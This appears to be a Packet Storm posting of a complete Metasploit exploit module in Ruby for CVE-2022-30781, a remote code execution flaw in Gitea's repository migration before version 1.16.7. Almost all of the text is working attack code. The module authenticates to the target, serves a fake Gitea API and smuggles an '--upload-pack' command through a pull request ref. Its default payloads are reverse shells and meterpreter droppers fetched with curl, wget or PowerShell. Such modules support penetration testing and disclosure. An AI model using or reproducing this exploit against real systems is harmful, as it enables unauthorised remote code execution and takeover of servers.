The vulnerability in the Gitea repository migration process, affecting versions prior to 1.16.7, can be exploited through the Git fetch command by using this Metasploit module to execute remote commands on the targeted system.
1
SHA-256 | dba6b158933e4ec6089f6364c6b953e84d8ade82305acdf446dc098ee940e1dd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Gitea
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gitea Git Fetch Remote Code Execution',
'Description' => %q{
This module exploits Git fetch command in Gitea repository migration
process that leads to a remote command execution on the system.
This vulnerability affect Gitea before 1.16.7 version.
},
'Author' => [
'wuhan005', # Original PoC
'li4n0', # Original PoC
'krastanoel' # MSF Module
],
'References' => [
['CVE', '2022-30781'],
['URL', 'https://tttang.com/archive/1607/']
],
'DisclosureDate' => '2022-05-16',
'License' => MSF_LICENSE,
'Platform' => %w[unix linux win],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => %i[curl wget echo printf],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'CmdStagerFlavor' => [ 'psh_invokewebrequest' ],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'CMDSTAGER::URIPATH' => '/payloads'
}
}
]
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
register_options([
Opt::RPORT(3000),
OptString.new('USERNAME', [true, 'Username to authenticate with']),
OptString.new('PASSWORD', [true, 'Password to use']),
OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),
])
end
def cleanup
super
return if @uid.nil? || @migrate_repo_created.nil?
[@repo_name, @migrate_repo_name].each do |name|
res = gitea_remove_repo(repo_path(name))
if res.nil? || res&.code == 200
vprint_warning("Unable to remove repository '#{name}'")
elsif res&.code == 404
vprint_warning("Repository '#{name}' not found, possibly already deleted")
else
vprint_status("Successfully cleanup repository '#{name}'")
end
end
end
def check
return CheckCode::Safe('USERNAME can\'t be blank') if datastore['username'].blank?
v = get_gitea_version
gitea_login(datastore['username'], datastore['password'])
if Rex::Version.new(v) <= Rex::Version.new('1.16.6')
return CheckCode::Appears("Version detected: #{v}")
end
CheckCode::Safe("Version detected: #{v}")
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError => e
return CheckCode::Unknown(e.message)
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError => e
return CheckCode::Detected(e.message)
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError,
Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e
return CheckCode::Safe(e.message)
end
def primer
[
'/api/v1/version', '/api/v1/settings/api',
"/api/v1/repos/#{@migrate_repo_path}",
"/api/v1/repos/#{@migrate_repo_path}/pulls",
"/api/v1/repos/#{@migrate_repo_path}/topics"
].each { |uri| hardcoded_uripath(uri) } # adding resources
end
def execute_command(cmd, _opts = {})
if target['Type'] == :win_dropper
# Git on Windows will pass the command to `sh.exe` and not `cmd`.
# This requires some adjustments:
# - Windows environment variables are mapped by `sh.exe`: `%VAR%` becomes `$VAR`
# - `cmd` uses `&` to join multiple commands, whereas `sh.exe` uses `&&`.
# - Backslashes need to be escaped with `sh.exe`
cmd = cmd.gsub(/%(\w+)%/) { "$#{::Regexp.last_match(1)}" }.gsub(/&/) { '&&' }.gsub(/\\/) { '\\\\\\' }
end
vprint_status("Executing command: #{cmd}")
@repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_path = repo_path(@migrate_repo_name)
vprint_status("Creating repository \"#{@repo_name}\"")
@uid = gitea_create_repo(@repo_name)
vprint_good('Repository created')
vprint_status('Migrating repository')
clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}"
auth_token = rand_text_alphanumeric(6..15)
@migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token)
@p = cmd
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError,
Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError,
Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e
fail_with(Failure::UnexpectedReply, e.message)
end
def exploit
unless datastore['AutoCheck']
fail_with(Failure::BadConfig, 'USERNAME can\'t be blank') if datastore['username'].blank?
gitea_login(datastore['username'], datastore['password'])
end
start_service
primer
case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded)
when :linux_dropper, :win_dropper
datastore['CMDSTAGER::URIPATH'] = "/#{rand_text_alphanumeric(6..15)}"
execute_cmdstager(background: true, delay: 1)
end
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e
fail_with(Failure::UnexpectedReply, e.message)
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e
fail_with(Failure::NoAccess, e.message)
end
def repo_path(name)
"#{datastore['username']}/#{name}"
end
def on_request_uri(cli, req)
case req.uri
when '/api/v1/version'
send_response(cli, '{"version": "1.16.6"}')
when '/api/v1/settings/api'
data = {
max_response_items: 50, default_paging_num: 30,
default_git_trees_per_page: 1000, default_max_blob_size: 10485760
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}"
data = {
clone_url: "#{full_uri}#{datastore['username']}/#{@repo_name}",
owner: { login: datastore['username'] }
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
send_response(cli, '{"topics":[]}')
when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
data = [
{
base: {
ref: 'master'
},
head: {
ref: "--upload-pack=#{@p}",
repo: {
clone_url: './',
owner: { login: 'master' }
}
},
updated_at: '2001-01-01T05:00:00+01:00',
user: {}
}
]
send_response(cli, data.to_json)
when datastore['CMDSTAGER::URIPATH']
super
end
end
end
Source : https://packetstormsecurity.com